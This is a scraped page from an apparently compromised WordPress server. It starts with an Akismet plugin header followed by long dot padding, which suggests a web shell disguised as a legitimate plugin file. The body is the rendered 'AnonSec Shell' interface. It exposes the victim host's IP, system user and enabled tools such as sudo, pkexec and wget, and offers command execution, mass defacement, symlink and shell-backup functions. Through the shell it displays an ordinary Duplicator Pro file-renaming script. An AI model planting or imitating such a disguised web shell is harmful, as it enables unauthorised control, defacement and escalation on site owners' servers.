#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/mosrembit/data/www/mosrembit.ru/wp-content/plugins/duplicator-pro/tools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/mosrembit/data/www/mosrembit.ru/wp-content/plugins/duplicator-pro/tools/file-renamer.php
<?php defined("ABSPATH") or die(""); ?>
<head>
	<script src="https://code.jquery.com/jquery-3.1.0.min.js" integrity="sha256-cCueBR6CsyA4/9szpPfrX3s49M9vUU5BgtiJj06wt/s=" crossorigin="anonymous"></script>
</head>
<body>
	<?php
	$test_mode = false;

	if (!isset($_POST['action']))
	{
		?>

		<h1>Snap Creek File Rename Utility v0.1</h1>
		This tool will rename all files with '#UNNNN' in their names to the proper UTF-8 characters.<br/><br/>
		Click 'Preview' to see files that will be renamed without performing the rename.<br/><br/>
		Click 'Rename' to rename the files.<br/><br/>

		<form method="post">
			<input id="action" type="hidden" name="action" value="preview" />
			<input style="float:left; margin-right:20px;" type="submit" value="Rename" onclick="jQuery('#action').attr('value', 'rename');
	            return true;"/>
			<input type="submit" value="Preview" />
		</form>

		<?php
	}
	else
	{
		$rename = $_POST['action'] === 'rename';

		if ($rename)
		{
			$text = 'Renaming Files';
		}
		else
		{
			$text = 'Previewing Files';
		}

		echo "<h1>$text</h1>";
		function dirToArray($dir)
		{
			$directoryIterator = new RecursiveDirectoryIterator($dir);
			$recursiveIteratorIterator = new RecursiveIteratorIterator($directoryIterator);
			$regexIterator = new RegexIterator($recursiveIteratorIterator, '/\#U/', RecursiveRegexIterator::GET_MATCH);

			$array = iterator_to_array($regexIterator, true);

			return array_keys($array);
		}

		$dirpath = dirname(__FILE__);
		$filepaths = array();
		$paths = dirToArray($dirpath);

		foreach ($paths as $path)
		{
			if (is_file($path))
			{
				$filepaths[] = $path;
			}
		}

		$file_count = 0;
		asort($filepaths);
		foreach ($filepaths as $filepath)
		{
			if ((strpos($filepath, '#U') !== false) && (strpos($filepath, '.orig') === false))
			{
				$file_count++;
				echo "FILE $filepath<br/>";

				$new_filepath = html_entity_decode(preg_replace("/\#U([0-9A-Fa-f]{4})/", "&#x\\1;", $filepath), ENT_NOQUOTES, 'UTF-8');

				if ($rename)
				{
					//$new_filename = preg_replace("/\#U([0-9A-Fa-f]{4})/", "&#x\\1;", $filepath);

					$backup_filepath = $filepath . '.orig';
					$backup_base = basename($backup_filepath);

					if ($test_mode)
					{
						$copied = true;
					}
					else
					{
						$copied = copy($filepath, $backup_filepath);
					}

					if ($copied)
					{
						if ($test_mode)
						{
							$renamed = true;
						}
						else
						{
							$renamed = @rename($filepath, $new_filepath);
						}

						$rename_base = basename($new_filepath);

						if ($renamed)
						{
							echo "Renamed to $rename_base<br/>";
						}
						else
						{
							echo "***ERROR: Couldn't Rename to $rename_base<br/>";
							@unlink($backup_filepath);
						}
					}
					else
					{
						echo "***ERROR: Problem backing to $backup_base<br/>";
					}
				}
				echo '<br/>';
			}
		}
		echo "<br/>Total Files: $file_count<br/><br/>";

		if (!$rename && ($file_count > 0))
		{
			?>
			<form method="post">
				<input id="action" type="hidden" name="action" value="rename" />
				<input style="float:left; margin-right:20px;" type="submit" value="Proceed with Rename"/>
			</form>
		<?php
	}
}
echo '</body>';
?>

Anon7 - 2022
AnonSec Team